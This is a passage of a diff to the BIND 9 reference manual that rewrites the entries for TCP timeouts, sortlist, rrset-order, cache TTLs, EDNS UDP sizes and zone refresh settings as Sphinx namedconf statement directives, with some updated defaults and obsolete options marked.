    This sets the amount of time (in units of 100 milliseconds) that the server waits on
    a new TCP connection for the first message from the client. The
    default is 300 (30 seconds), the minimum is 25 (2.5 seconds), and the
@@ -3045,71 +3761,94 @@ system.
    minimum are adjusted with a logged warning. (Note: this value
    must be greater than the expected round-trip delay time; otherwise, no
    client will ever have enough time to submit a message.) This value
-   can be updated at runtime by using ``rndc tcp-timeouts``.
+   can be updated at runtime by using :option:`rndc tcp-timeouts`.
+
+.. namedconf:statement:: tcp-idle-timeout
+   :tags: query
+   :short: Sets the amount of time (in milliseconds) that the server waits on an idle TCP connection before closing it, if the EDNS TCP keepalive option is not in use.
 
-``tcp-idle-timeout``
    This sets the amount of time (in units of 100 milliseconds) that the server waits on
    an idle TCP connection before closing it, when the client is not using
    the EDNS TCP keepalive option. The default is 300 (30 seconds), the
    maximum is 1200 (two minutes), and the minimum is 1 (one-tenth of a
    second). Values above the maximum or below the minimum are
-   adjusted with a logged warning. See ``tcp-keepalive-timeout`` for
+   adjusted with a logged warning. See :any:`tcp-keepalive-timeout` for
    clients using the EDNS TCP keepalive option. This value can be
-   updated at runtime by using ``rndc tcp-timeouts``.
+   updated at runtime by using :option:`rndc tcp-timeouts`.
+
+.. namedconf:statement:: tcp-keepalive-timeout
+   :tags: query
+   :short: Sets the amount of time (in milliseconds) that the server waits on an idle TCP connection before closing it, if the EDNS TCP keepalive option is in use.
 
-``tcp-keepalive-timeout``
    This sets the amount of time (in units of 100 milliseconds) that the server waits on
    an idle TCP connection before closing it, when the client is using the
    EDNS TCP keepalive option. The default is 300 (30 seconds), the
    maximum is 65535 (about 1.8 hours), and the minimum is 1 (one-tenth
    of a second). Values above the maximum or below the minimum are
    adjusted with a logged warning. This value may be greater than
-   ``tcp-idle-timeout`` because clients using the EDNS TCP keepalive
+   :any:`tcp-idle-timeout` because clients using the EDNS TCP keepalive
    option are expected to use TCP connections for more than one message.
-   This value can be updated at runtime by using ``rndc tcp-timeouts``.
+   This value can be updated at runtime by using :option:`rndc tcp-timeouts`.
+
+.. namedconf:statement:: tcp-advertised-timeout
+   :tags: query
+   :short: Sets the timeout value (in milliseconds) that the server sends in responses containing the EDNS TCP keepalive option.
 
-``tcp-advertised-timeout``
    This sets the timeout value (in units of 100 milliseconds) that the server sends
    in responses containing the EDNS TCP keepalive option, which informs a
    client of the amount of time it may keep the session open. The
    default is 300 (30 seconds), the maximum is 65535 (about 1.8 hours),
    and the minimum is 0, which signals that the clients must close TCP
    connections immediately. Ordinarily this should be set to the same
-   value as ``tcp-keepalive-timeout``. This value can be updated at
-   runtime by using ``rndc tcp-timeouts``.
+   value as :any:`tcp-keepalive-timeout`. This value can be updated at
+   runtime by using :option:`rndc tcp-timeouts`.
+
+.. namedconf:statement:: update-quota
+   :tags: server
+   :short: Specifies the maximum number of concurrent DNS UPDATE messages that can be processed by the server.
+
+   This is the maximum number of simultaneous DNS UPDATE messages that
+   the server will accept for updating local authoritiative zones or
+   forwarding to a primary server. The default is ``100``.
 
 .. _intervals:
 
 Periodic Task Intervals
 ^^^^^^^^^^^^^^^^^^^^^^^
 
-``heartbeat-interval``
+.. namedconf:statement:: heartbeat-interval
+   :tags: deprecated
+   :short: Sets the interval at which the server performs zone maintenance tasks for all zones marked as :any:`dialup`.
+
    The server performs zone maintenance tasks for all zones marked
-   as ``dialup`` whenever this interval expires. The default is 60
+   as :any:`dialup` whenever this interval expires. The default is 60
    minutes. Reasonable values are up to 1 day (1440 minutes). The
    maximum value is 28 days (40320 minutes). If set to 0, no zone
    maintenance for these zones occurs.
 
-``interface-interval``
-   The server scans the network interface list every ``interface-interval``
+   This option is deprecated and will be removed in a future release.
+
+.. namedconf:statement:: interface-interval
+   :tags: server
+   :short: Sets the interval at which the server scans the network interface list.
+
+   The server scans the network interface list every :any:`interface-interval`
    minutes. The default is 60 minutes; the maximum value is 28 days (40320
    minutes). If set to 0, interface scanning only occurs when the configuration
-   file is loaded, or when ``automatic-interface-scan`` is enabled and supported
+   file is loaded, or when :any:`automatic-interface-scan` is enabled and supported
    by the operating system. After the scan, the server begins listening for
    queries on any newly discovered interfaces (provided they are allowed by the
-   ``listen-on`` configuration), and stops listening on interfaces that have
+   :any:`listen-on` configuration), and stops listening on interfaces that have
    gone away. For convenience, TTL-style time-unit suffixes may be used to
    specify the value. It also accepts ISO 8601 duration formats.
 
-.. _the_sortlist_statement:
-
-The ``sortlist`` Statement
-^^^^^^^^^^^^^^^^^^^^^^^^^^
+The :any:`sortlist` Statement
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
 The response to a DNS query may consist of multiple resource records
 (RRs) forming a resource record set (RRset). The name server
 normally returns the RRs within the RRset in an indeterminate order (but
-see the ``rrset-order`` statement in :ref:`rrset_ordering`). The client resolver code should
+see the :any:`rrset-order` statement in :ref:`rrset_ordering`). The client resolver code should
 rearrange the RRs as appropriate: that is, using any addresses on the
 local net in preference to other addresses. However, not all resolvers
 can do this or are correctly configured. When a client is using a local
@@ -3117,33 +3856,37 @@ server, the sorting can be performed in the server, based on the
 client's address. This only requires configuring the name servers, not
 all the clients.
 
-The ``sortlist`` statement (see below) takes an ``address_match_list`` and
-interprets it in a special way. Each top-level statement in the ``sortlist``
-must itself be an explicit ``address_match_list`` with one or two elements. The
-first element (which may be an IP address, an IP prefix, an ACL name, or a nested
-``address_match_list``) of each top-level list is checked against the source
-address of the query until a match is found. When the addresses in the first
-element overlap, the first rule to match is selected.
-
-Once the source address of the query has been matched, if the top-level
-statement contains only one element, the actual primitive element that
-matched the source address is used to select the address in the response
-to move to the beginning of the response. If the statement is a list of
-two elements, then the second element is interpreted as a topology
-preference list. Each top-level element is assigned a distance, and the
-address in the response with the minimum distance is moved to the
-beginning of the response.
-
-In the following example, any queries received from any of the addresses
-of the host itself get responses preferring addresses on any of the
-locally connected networks. Next most preferred are addresses on the
-192.168.1/24 network, and after that either the 192.168.2/24 or
-192.168.3/24 network, with no preference shown between these two
-networks. Queries received from a host on the 192.168.1/24 network
-prefer other addresses on that network to the 192.168.2/24 and
-192.168.3/24 networks. Queries received from a host on the 192.168.4/24
-or the 192.168.5/24 network only prefer other addresses on their
-directly connected networks.
+.. namedconf:statement:: sortlist
+   :tags: query
+   :short: Controls the ordering of RRs returned to the client, based on the client's IP address.
+
+   The :any:`sortlist` statement (see below) takes an :term:`address_match_list` and
+   interprets it in a special way. Each top-level statement in the :any:`sortlist`
+   must itself be an explicit :term:`address_match_list` with one or two elements. The
+   first element (which may be an IP address, an IP prefix, an ACL name, or a nested
+   :term:`address_match_list`) of each top-level list is checked against the source
+   address of the query until a match is found. When the addresses in the first
+   element overlap, the first rule to match is selected.
+
+   Once the source address of the query has been matched, if the top-level
+   statement contains only one element, the actual primitive element that
+   matched the source address is used to select the address in the response
+   to move to the beginning of the response. If the statement is a list of
+   two elements, then the second element is interpreted as a topology
+   preference list. Each top-level element is assigned a distance, and the
+   address in the response with the minimum distance is moved to the
+   beginning of the response.
+
+   In the following example, any queries received from any of the addresses
+   of the host itself get responses preferring addresses on any of the
+   locally connected networks. Next most preferred are addresses on the
+   192.168.1/24 network, and after that either the 192.168.2/24 or
+   192.168.3/24 network, with no preference shown between these two
+   networks. Queries received from a host on the 192.168.1/24 network
+   prefer other addresses on that network to the 192.168.2/24 and
+   192.168.3/24 networks. Queries received from a host on the 192.168.4/24
+   or the 192.168.5/24 network only prefer other addresses on their
+   directly connected networks.
 
 ::
 
@@ -3197,109 +3940,119 @@ RRset Ordering
     caveats apply (mostly stemming from caching) which usually make it a
     suboptimal choice for load balancing purposes when used on its own.
 
-The ``rrset-order`` statement permits configuration of the ordering of
-the records in a multiple-record response. See also:
-:ref:`the_sortlist_statement`.
+.. namedconf:statement:: rrset-order
+   :tags: query
+   :short: Defines the order in which equal RRs (RRsets) are returned.
 
-Each rule in an ``rrset-order`` statement is defined as follows:
+   The :any:`rrset-order` statement permits configuration of the ordering of
+   the records in a multiple-record response. See also:
+   :any:`sortlist`.
 
-::
+   Each rule in an :any:`rrset-order` statement is defined as follows:
 
-    [class <class_name>] [type <type_name>] [name "<domain_name>"] order <ordering>
+   ::
 
-The default qualifiers for each rule are:
+       [class <class_name>] [type <type_name>] [name "<domain_name>"] order <ordering>
 
-  - If no ``class`` is specified, the default is ``ANY``.
-  - If no ``type`` is specified, the default is ``ANY``.
-  - If no ``name`` is specified, the default is ``*`` (asterisk).
+   The default qualifiers for each rule are:
 
-``<domain_name>`` only matches the name itself, not any of its
-subdomains.  To make a rule match all subdomains of a given name, a
-wildcard name (``*.<domain_name>``) must be used.  Note that
-``*.<domain_name>`` does *not* match ``<domain_name>`` itself; to
-specify RRset ordering for a name and all of its subdomains, two
-separate rules must be defined: one for ``<domain_name>`` and one for
-``*.<domain_name>``.
+     - If no ``class`` is specified, the default is ``ANY``.
+     - If no :any:`type` is specified, the default is ``ANY``.
+     - If no ``name`` is specified, the default is ``*`` (asterisk).
 
-The legal values for ``<ordering>`` are:
+   :term:`<domain_name> <domain_name>` only matches the name itself, not any of its
+   subdomains.  To make a rule match all subdomains of a given name, a
+   wildcard name (``*.<domain_name>``) must be used.  Note that
+   ``*.<domain_name>`` does *not* match ``<domain_name>`` itself; to
+   specify RRset ordering for a name and all of its subdomains, two
+   separate rules must be defined: one for ``<domain_name>`` and one for
+   ``*.<domain_name>``.
 
-``fixed``
-    Records are returned in the order they are defined in the zone file.
+   The legal values for ``<ordering>`` are:
 
-.. note::
+   ``fixed``
+       Records are returned in the order they are defined in the zone file.
 
-    The ``fixed`` option is only available if BIND is configured with
-    ``--enable-fixed-rrset`` at compile time.
+   .. note::
 
-``random``
-    Records are returned in a random order.
+       The ``fixed`` option is only available if BIND is configured with
+       ``--enable-fixed-rrset`` at compile time.
 
-``cyclic``
-    Records are returned in a cyclic round-robin order, rotating by one
-    record per query.
+   ``random``
+       Records are returned in a random order.
 
-``none``
-    Records are returned in the order they were retrieved from the
-    database. This order is indeterminate, but remains consistent as
-    long as the database is not modified.
+   ``cyclic``
+       Records are returned in a cyclic round-robin order, rotating by one
+       record per query.
 
-The default RRset order used depends on whether any ``rrset-order``
-statements are present in the configuration file used by ``named``:
+   ``none``
+       Records are returned in the order they were retrieved from the
+       database. This order is indeterminate, but remains consistent as
+       long as the database is not modified.
 
-  - If no ``rrset-order`` statement is present in the configuration
-    file, the implicit default is to return all records in ``random``
-    order.
+   The default RRset order used depends on whether any :any:`rrset-order`
+   statements are present in the configuration file used by :iscman:`named`:
 
-  - If any ``rrset-order`` statements are present in the configuration
-    file, but no ordering rule specified in these statements matches a
-    given RRset, the default order for that RRset is ``none``.
+     - If no :any:`rrset-order` statement is present in the configuration
+       file, the implicit default is to return all records in ``random``
+       order.
 
-Note that if multiple ``rrset-order`` statements are present in the
-configuration file (at both the ``options`` and ``view`` levels), they
-are *not* combined; instead, the more-specific one (``view``) replaces
-the less-specific one (``options``).
+     - If any :any:`rrset-order` statements are present in the configuration
+       file, but no ordering rule specified in these statements matches a
+       given RRset, the default order for that RRset is ``none``.
 
-If multiple rules within a single ``rrset-order`` statement match a
-given RRset, the first matching rule is applied.
+   Note that if multiple :any:`rrset-order` statements are present in the
+   configuration file (at both the :namedconf:ref:`options` and :any:`view` levels), they
+   are *not* combined; instead, the more-specific one (:any:`view`) replaces
+   the less-specific one (:namedconf:ref:`options`).
 
-Example:
+   If multiple rules within a single :any:`rrset-order` statement match a
+   given RRset, the first matching rule is applied.
 
-::
+   Example:
+
+   ::
+
+       rrset-order {
+           type A name "foo.isc.org" order random;
+           type AAAA name "foo.isc.org" order cyclic;
+           name "bar.isc.org" order fixed;
+           name "*.bar.isc.org" order random;
+           name "*.baz.isc.org" order cyclic;
+       };
 
-    rrset-order {
-        type A name "foo.isc.org" order random;
-        type AAAA name "foo.isc.org" order cyclic;
-        name "bar.isc.org" order fixed;
-        name "*.bar.isc.org" order random;
-        name "*.baz.isc.org" order cyclic;
-    };
-
-With the above configuration, the following RRset ordering is used:
-
-===================    ========    ===========
-QNAME                  QTYPE       RRset Order
-===================    ========    ===========
-``foo.isc.org``        ``A``       ``random``
-``foo.isc.org``        ``AAAA``    ``cyclic``
-``foo.isc.org``        ``TXT``     ``none``
-``sub.foo.isc.org``    all         ``none``
-``bar.isc.org``        all         ``fixed``
-``sub.bar.isc.org``    all         ``random``
-``baz.isc.org``        all         ``none``
-``sub.baz.isc.org``    all         ``cyclic``
-===================    ========    ===========
+   With the above configuration, the following RRset ordering is used:
+
+   ===================    ========    ===========
+   QNAME                  QTYPE       RRset Order
+   ===================    ========    ===========
+   ``foo.isc.org``        ``A``       ``random``
+   ``foo.isc.org``        ``AAAA``    ``cyclic``
+   ``foo.isc.org``        ``TXT``     ``none``
+   ``sub.foo.isc.org``    all         ``none``
+   ``bar.isc.org``        all         ``fixed``
+   ``sub.bar.isc.org``    all         ``random``
+   ``baz.isc.org``        all         ``none``
+   ``sub.baz.isc.org``    all         ``cyclic``
+   ===================    ========    ===========
 
 .. _tuning:
 
 Tuning
 ^^^^^^
 
-``lame-ttl``
-   This sets the number of seconds to cache a lame server indication. 0
-   disables caching. (This is **NOT** recommended.) The default is
-   ``600`` (10 minutes) and the maximum value is ``1800`` (30 minutes).
+.. namedconf:statement:: lame-ttl
+   :tags: server
+   :short: Sets the resolver's lame cache.
+
+   This is always set to 0. More information is available in the
+   `security advisory for CVE-2021-25219
+   <https://kb.isc.org/docs/cve-2021-25219>`_.
+
+.. namedconf:statement:: servfail-ttl
+   :tags: server
+   :short: Sets the length of time (in seconds) that a SERVFAIL response is cached.
 
-``servfail-ttl``
    This sets the number of seconds to cache a SERVFAIL response due to DNSSEC
    validation failure or other general server failure. If set to ``0``,
    SERVFAIL caching is disabled. The SERVFAIL cache is not consulted if
@@ -3310,154 +4063,215 @@ Tuning
    The maximum value is ``30`` seconds; any higher value is
    silently reduced. The default is ``1`` second.
 
-``min-ncache-ttl``
+.. namedconf:statement:: min-ncache-ttl
+   :tags: server
+   :short: Specifies the minimum retention time (in seconds) for storage of negative answers in the server's cache.
+
    To reduce network traffic and increase performance, the server stores
-   negative answers. ``min-ncache-ttl`` is used to set a minimum
+   negative answers. :any:`min-ncache-ttl` is used to set a minimum
    retention time for these answers in the server, in seconds. For
    convenience, TTL-style time-unit suffixes may be used to specify the
    value. It also accepts ISO 8601 duration formats.
 
-   The default ``min-ncache-ttl`` is ``0`` seconds. ``min-ncache-ttl`` cannot
+   The default :any:`min-ncache-ttl` is ``0`` seconds. :any:`min-ncache-ttl` cannot
    exceed 90 seconds and is truncated to 90 seconds if set to a greater
    value.
 
-``min-cache-ttl``
+.. namedconf:statement:: min-cache-ttl
+   :tags: server
+   :short: Specifies the minimum time (in seconds) that the server caches ordinary (positive) answers.
+
    This sets the minimum time for which the server caches ordinary (positive)
    answers, in seconds. For convenience, TTL-style time-unit suffixes may be used
    to specify the value. It also accepts ISO 8601 duration formats.
 
-   The default ``min-cache-ttl`` is ``0`` seconds. ``min-cache-ttl`` cannot
+   The default :any:`min-cache-ttl` is ``0`` seconds. :any:`min-cache-ttl` cannot
    exceed 90 seconds and is truncated to 90 seconds if set to a greater
    value.
 
-``max-ncache-ttl``
+.. namedconf:statement:: max-ncache-ttl
+   :tags: server
+   :short: Specifies the maximum retention time (in seconds) for storage of negative answers in the server's cache.
+
    To reduce network traffic and increase performance, the server stores
-   negative answers. ``max-ncache-ttl`` is used to set a maximum retention time
+   negative answers. :any:`max-ncache-ttl` is used to set a maximum retention time
    for these answers in the server, in seconds. For convenience, TTL-style
    time-unit suffixes may be used to specify the value.  It also accepts ISO 8601
    duration formats.
 
-   The default ``max-ncache-ttl`` is 10800 seconds (3 hours). ``max-ncache-ttl``
+   The default :any:`max-ncache-ttl` is 10800 seconds (3 hours). :any:`max-ncache-ttl`
    cannot exceed 7 days and is silently truncated to 7 days if set to a
    greater value.
 
-``max-cache-ttl``
+.. namedconf:statement:: max-cache-ttl
+   :tags: server
+   :short: Specifies the maximum time (in seconds) that the server caches ordinary (positive) answers.
+
    This sets the maximum time for which the server caches ordinary (positive)
    answers, in seconds. For convenience, TTL-style time-unit suffixes may be used
    to specify the value. It also accepts ISO 8601 duration formats.
 
-   The default ``max-cache-ttl`` is 604800 (one week). A value of zero may cause
+   The default :any:`max-cache-ttl` is 604800 (one week). A value of zero may cause
    all queries to return SERVFAIL, because of lost caches of intermediate RRsets
    (such as NS and glue AAAA/A records) in the resolution process.
 
-``max-stale-ttl``
+.. namedconf:statement:: max-stale-ttl
+   :tags: server
+   :short: Specifies the maximum time that the server retains records past their normal expiry, to return them as stale records.
+
    If retaining stale RRsets in cache is enabled, and returning of stale cached
-   answers is also enabled, ``max-stale-ttl`` sets the maximum time for which
+   answers is also enabled, :any:`max-stale-ttl` sets the maximum time for which
    the server retains records past their normal expiry to return them as stale
    records, when the servers for those records are not reachable. The default
    is 1 day. The minimum allowed is 1 second; a value of 0 is updated silently
    to 1 second.
 
    For stale answers to be returned, the retaining of them in cache must be
-   enabled via the configuration option ``stale-cache-enable``, and returning
+   enabled via the configuration option :any:`stale-cache-enable`, and returning
    cached answers must be enabled, either in the configuration file using the
-   ``stale-answer-enable`` option or by calling ``rndc serve-stale on``.
+   :any:`stale-answer-enable` option or by calling :option:`rndc serve-stale on <rndc serve-stale>`.
 
-   When ``stale-cache-enable`` is set to ``no``, setting the ``max-stale-ttl``
-   has no effect, the value of ``max-cache-ttl`` will be ``0`` in such case.
+   When :any:`stale-cache-enable` is set to ``no``, setting the :any:`max-stale-ttl`
+   has no effect, the value of :any:`max-cache-ttl` will be ``0`` in such case.
+
+.. namedconf:statement:: resolver-nonbackoff-tries
+   :tags: server
+   :short: Specifies the number of retries before exponential backoff.
 
-``resolver-nonbackoff-tries``
    This specifies how many retries occur before exponential backoff kicks in. The
    default is ``3``.
 
-``resolver-retry-interval``
+.. namedconf:statement:: resolver-retry-interval
+   :tags: server, query
+   :short: Sets the base retry interval (in milliseconds).
+
    This sets the base retry interval in milliseconds. The default is ``800``.
 
-``sig-validity-interval``
-   This specifies the number of days into the future that DNSSEC signatures
-   that are automatically generated as a result of dynamic updates
-   (:ref:`dynamic_update`) will expire. There is an optional second
-   field which specifies how long before expiry the signatures are
-   regenerated. If not specified, the signatures are regenerated
-   at 1/4 of the base interval. The second field is specified in days if the
-   base interval is greater than 7 days; otherwise it is specified in
-   hours. The default base interval is ``30`` days, giving a re-signing
-   interval of 7 1/2 days. The maximum value is 10 years (3660 days).
-
-   The signature inception time is unconditionally set to one hour
-   before the current time, to allow for a limited amount of clock skew.
-
-   The ``sig-validity-interval`` can be overridden for DNSKEY records by
-   setting ``dnskey-sig-validity``.
-
-   The ``sig-validity-interval`` should be at least several multiples
-   of the SOA expire interval, to allow for reasonable interaction
-   between the various timer and expiry dates.
-
-``dnskey-sig-validity``
-   This specifies the number of days into the future when DNSSEC signatures
-   that are automatically generated for DNSKEY RRsets as a result of
-   dynamic updates (:ref:`dynamic_update`) will expire.
-   If set to a non-zero value, this overrides the value set by
-   ``sig-validity-interval``. The default is zero, meaning
-   ``sig-validity-interval`` is used. The maximum value is 3660 days (10
-   years), and higher values are rejected.
-
-``sig-signing-nodes``
+.. namedconf:statement:: sig-validity-interval
+   :tags: obsolete
+
+   This option no longer has any effect.
+
+.. namedconf:statement:: dnskey-sig-validity
+   :tags: obsolete
+
+   This option no longer has any effect.
+
+.. namedconf:statement:: sig-signing-nodes
+   :tags: dnssec
+   :short: Specifies the maximum number of nodes to be examined in each quantum, when signing a zone with a new DNSKEY.
+
    This specifies the maximum number of nodes to be examined in each quantum,
    when signing a zone with a new DNSKEY. The default is ``100``.
 
-``sig-signing-signatures``
+.. namedconf:statement:: sig-signing-signatures
+   :tags: dnssec
+   :short: Specifies the threshold for the number of signatures that terminates processing a quantum, when signing a zone with a new DNSKEY.
+
    This specifies a threshold number of signatures that terminates
    processing a quantum, when signing a zone with a new DNSKEY. The
    default is ``10``.
 
-``sig-signing-type``
+.. namedconf:statement:: sig-signing-type
+   :tags: dnssec
+   :short: Specifies a private RDATA type to use when generating signing-state records.
+
    This specifies a private RDATA type to be used when generating signing-state
    records. The default is ``65534``.
 
    This parameter may be removed in a future version,
    once there is a standard type.
 
-   Signing-state records are used internally by ``named`` to track
+   Signing-state records are used internally by :iscman:`named` to track
    the current state of a zone-signing process, i.e., whether it is
    still active or has been completed. The records can be inspected
-   using the command ``rndc signing -list zone``. Once ``named`` has
+   using the command :option:`rndc signing -list zone <rndc signing>`. Once :iscman:`named` has
    finished signing a zone with a particular key, the signing-state
    record associated with that key can be removed from the zone by
-   running ``rndc signing -clear keyid/algorithm zone``. To clear all of
+   running :option:`rndc signing -clear keyid/algorithm zone <rndc signing>`. To clear all of
    the completed signing-state records for a zone, use
-   ``rndc signing -clear all zone``.
+   :option:`rndc signing -clear all zone <rndc signing>`.
+
+.. namedconf:statement:: min-refresh-time
+   :tags: transfer
+   :short: Limits the zone refresh interval to no more often than the specified value, in seconds.
 
-``min-refresh-time``; ``max-refresh-time``; ``min-retry-time``; ``max-retry-time``
-   These options control the server's behavior on refreshing a zone
-   (querying for SOA changes) or retrying failed transfers. Usually the
-   SOA values for the zone are used, up to a hard-coded maximum expiry
-   of 24 weeks. However, these values are set by the primary, giving
+   This option controls the server's behavior on refreshing a zone
+   (querying for SOA changes). Usually, the SOA refresh values for
+   the zone are used; however, these values are set by the primary, giving
    secondary server administrators little control over their contents.
 
-   These options allow the administrator to set a minimum and maximum
-   refresh and retry time in seconds per-zone, per-view, or globally.
-   These options are valid for secondary and stub zones, and clamp the SOA
-   refresh and retry times to the specified values.
+   This option allows the administrator to set a minimum
+   refresh time in seconds per-zone, per-view, or globally.
+   This option is valid for secondary and stub zones, and clamps the SOA
+   refresh time to the specified value.
+
+   The default is 300 seconds.
+
+.. namedconf:statement:: max-refresh-time
+   :tags: transfer
+   :short: Limits the zone refresh interval to no less often than the specified value, in seconds.
+
+   This option controls the server's behavior on refreshing a zone
+   (querying for SOA changes). Usually, the SOA refresh values for
+   the zone are used; however, these values are set by the primary, giving
+   secondary server administrators little control over their contents.
+
+   This option allows the administrator to set a maximum
+   refresh time in seconds per-zone, per-view, or globally.
+   This option is valid for secondary and stub zones, and clamps the SOA
+   refresh time to the specified value.
+
+   The default is 2419200 seconds (4 weeks).
+
+.. namedconf:statement:: min-retry-time
+   :tags: transfer
+   :short: Limits the zone refresh retry interval to no more often than the specified value, in seconds.
+
+   This option controls the server's behavior on retrying failed
+   zone transfers. Usually, the SOA retry values for the zone are
+   used; however, these values are set by the primary, giving
+   secondary server administrators little control over their contents.
+
+   This option allows the administrator to set a minimum
+   retry time in seconds per-zone, per-view, or globally.
+   This option is valid for secondary and stub zones, and clamps the SOA
+   retry time to the specified value.
+
+   The default is 500 seconds.
+
+.. namedconf:statement:: max-retry-time
+   :tags: transfer
+   :short: Limits the zone refresh retry interval to no less often than the specified value, in seconds.
+
+   This option controls the server's behavior on retrying failed
+   zone transfers. Usually, the SOA retry values for the zone are
+   used; however, these values are set by the primary, giving
+   secondary server administrators little control over their contents.
+
+   This option allows the administrator to set a maximum
+   retry time in seconds per-zone, per-view, or globally.
+   This option is valid for secondary and stub zones, and clamps the SOA
+   retry time to the specified value.
+
+   The default is 1209600 seconds (2 weeks).
 
-   The following defaults apply: ``min-refresh-time`` 300 seconds,
-   ``max-refresh-time`` 2419200 seconds (4 weeks), ``min-retry-time``
-   500 seconds, and ``max-retry-time`` 1209600 seconds (2 weeks).
+.. namedconf:statement:: edns-udp-size
+   :tags: query
+   :short: Sets the maximum advertised EDNS UDP buffer size to control the size of packets received from authoritative servers in response to recursive queries.
 
-``edns-udp-size``
    This sets the maximum advertised EDNS UDP buffer size, in bytes, to control
    the size of packets received from authoritative servers in response
    to recursive queries. Valid values are 512 to 4096; values outside
    this range are silently adjusted to the nearest value within it.
    The default value is 1232.
 
-   The usual reason for setting ``edns-udp-size`` to a non-default value
+   The usual reason for setting :any:`edns-udp-size` to a non-default value
    is to get UDP answers to pass through broken firewalls that block
    fragmented packets and/or block UDP DNS packets that are greater than
    512 bytes.
 
-   When ``named`` first queries a remote server, it advertises a UDP
+   When :iscman:`named` first queries a remote server, it advertises a UDP
    buffer size of 1232.
 
    Query timeouts observed for any given server affect the buffer size
@@ -3465,63 +4279,71 @@ Tuning
    dropping patterns, the query is retried over TCP.  Per-server EDNS statistics
    are only retained in memory for the lifetime of a given server's ADB entry.
 
-   The ``named`` now sets the DON'T FRAGMENT flag on outgoing UDP packets.
-   According to the measurements done by multiple parties this should not be
-   causing any operational problems as most of the Internet "core" is able to
+   According to the measurements done by multiple parties the default value
+   should not be causing the fragmentation as most of the Internet "core" is able to
    cope with IP message sizes between 1400-1500 bytes, the 1232 size was picked
    as a conservative minimal number that could be changed by the DNS operator to
    a estimated path MTU minus the estimated header space. In practice, the
    smallest MTU witnessed in the operational DNS community is 1500 octets, the
    Ethernet maximum payload size, so a a useful default for maximum DNS/UDP
-   payload size on **reliable** networks would be 1400.
+   payload size on **reliable** networks would be 1432.
 
-   Any server-specific ``edns-udp-size`` setting has precedence over all
-   the above rules.
+   Any server-specific :any:`edns-udp-size` setting has precedence over all
+   the above rules, i.e. configures a static value for a given
+   :namedconf:ref:`server` block.
 
-``max-udp-size``
-   This sets the maximum EDNS UDP message size that ``named`` sends, in bytes.
+.. namedconf:statement:: max-udp-size
+   :tags: query
+   :short: Sets the maximum EDNS UDP message size sent by :iscman:`named`.
+
+   This sets the maximum EDNS UDP message size that :iscman:`named` sends, in bytes.
    Valid values are 512 to 4096; values outside this range are
    silently adjusted to the nearest value within it. The default value
    is 1232.
 
    This value applies to responses sent by a server; to set the
-   advertised buffer size in queries, see ``edns-udp-size``.
+   advertised buffer size in queries, see :any:`edns-udp-size`.
 
-   The usual reason for setting ``max-udp-size`` to a non-default value
+   The usual reason for setting :any:`max-udp-size` to a non-default value
    is to allow UDP answers to pass through broken firewalls that block
    fragmented packets and/or block UDP packets that are greater than 512
    bytes. This is independent of the advertised receive buffer
-   (``edns-udp-size``).
+   (:any:`edns-udp-size`).
 
    Setting this to a low value encourages additional TCP traffic to
    the name server.
 
-``masterfile-format``
-   This specifies the file format of zone files (see :ref:`zonefile_format`).
-   The default value is ``text``, which
-   is the standard textual representation, except for secondary zones, in
-   which the default value is ``raw``. Files in formats other than
-   ``text`` are typically expected to be generated by the
-   ``named-compilezone`` tool, or dumped by ``named``.
-
-   Note that when a zone file in a format other than ``text`` is
-   loaded, ``named`` may omit some of the checks which are
-   performed for a file in ``text`` format. In particular,
-   ``check-names`` checks do not apply for the ``raw`` format. This
-   means a zone file in the ``raw`` format must be generated with the
-   same check level as that specified in the ``named`` configuration
-   file. Also, ``map`` format files are loaded directly into memory via
-   memory mapping, with only minimal checking.
-
-   This statement sets the ``masterfile-format`` for all zones, but can
-   be overridden on a per-zone or per-view basis by including a
-   ``masterfile-format`` statement within the ``zone`` or ``view`` block
-   in the configuration file.
+.. namedconf:statement:: masterfile-format
+   :tags: zone, server
+   :short: Specifies the file format of zone files.
+
+   This specifies the file format of zone files (see :ref:`zonefile_format`
+   for details).  The default value is ``text``, which is the standard
+   textual representation, except for secondary zones, in which the default
+   value is ``raw``. Files in formats other than ``text`` are typically
+   expected to be generated by the :iscman:`named-compilezone` tool, or dumped by
+   :iscman:`named`.
+
+   Note that when a zone file in a format other than ``text`` is loaded,
+   :iscman:`named` may omit some of the checks which are performed for a file in
+   ``text`` format. For example, :any:`check-names` only applies when loading
+   zones in ``text`` format. Zone files in ``raw`` format should be generated
+   with the same check level as that specified in the :iscman:`named`
+   configuration file.
+
+   When configured in :namedconf:ref:`options`, this statement sets the
+   :any:`masterfile-format` for all zones, but it can be overridden on a
+   per-zone or per-view basis by including a :any:`masterfile-format`
+   statement within the :any:`zone` or :any:`view` block in the configuration
+   file.
+
+.. namedconf:statement:: masterfile-style
+   :tags: server
+   :short: Specifies the format of zone files during a dump, when the :any:`masterfile-format` is ``text``.
 
-``masterfile-style``
    This specifies the formatting of zone files during dump, when the
-   ``masterfile-format`` is ``text``. This option is ignored with any
-   other ``masterfile-format``.
+   :any:`masterfile-format` is ``text``. This option is ignored with any
+   other :any:`masterfile-format`.
 
    When set to ``relative``, records are printed in a multi-line format,
    with owner names expressed relative to a shared origin. When set to
@@ -3531,7 +4353,10 @@ Tuning
    format is more human-readable, and is thus suitable when a zone is to
    be edited by hand. The default is ``relative``.
 
-``max-recursion-depth``
+.. namedconf:statement:: max-recursion-depth
+   :tags: server
+   :short: Sets the maximum number of levels of recursion permitted at any one time while servicing a recursive query.
+
    This sets the maximum number of levels of recursion that are permitted at
    any one time while servicing a recursive query. Resolving a name may
    require looking up a name server address, which in turn requires
@@ -3539,31 +4364,46 @@ Tuning
    this value, the recursive query is terminated and returns SERVFAIL.
    The default is 7.
 
-``max-recursion-queries``
+.. namedconf:statement:: max-recursion-queries
+   :tags: server, query
+   :short: Sets the maximum number of iterative queries while servicing a recursive query.
+
    This sets the maximum number of iterative queries that may be sent while
    servicing a recursive query. If more queries are sent, the recursive
    query is terminated and returns SERVFAIL. The default is 100.
 
-``notify-delay``
-   This sets the delay, in seconds, between sending sets of NOTIFY messages for a
-   zone. The default is 5 seconds.
+.. namedconf:statement:: notify-delay
+   :tags: transfer, zone
+   :short: Sets the delay (in seconds) between sending sets of NOTIFY messages for a zone.
+
+   This sets the delay, in seconds, between sending sets of NOTIFY messages
+   for a zone. Whenever a NOTIFY message is sent for a zone, a timer will
+   be set for this duration. If the zone is updated again before the timer
+   expires, the NOTIFY for that update will be postponed. The default is 5
+   seconds.
 
    The overall rate at which NOTIFY messages are sent for all zones is
-   controlled by ``serial-query-rate``.
+   controlled by :any:`notify-rate`.
+
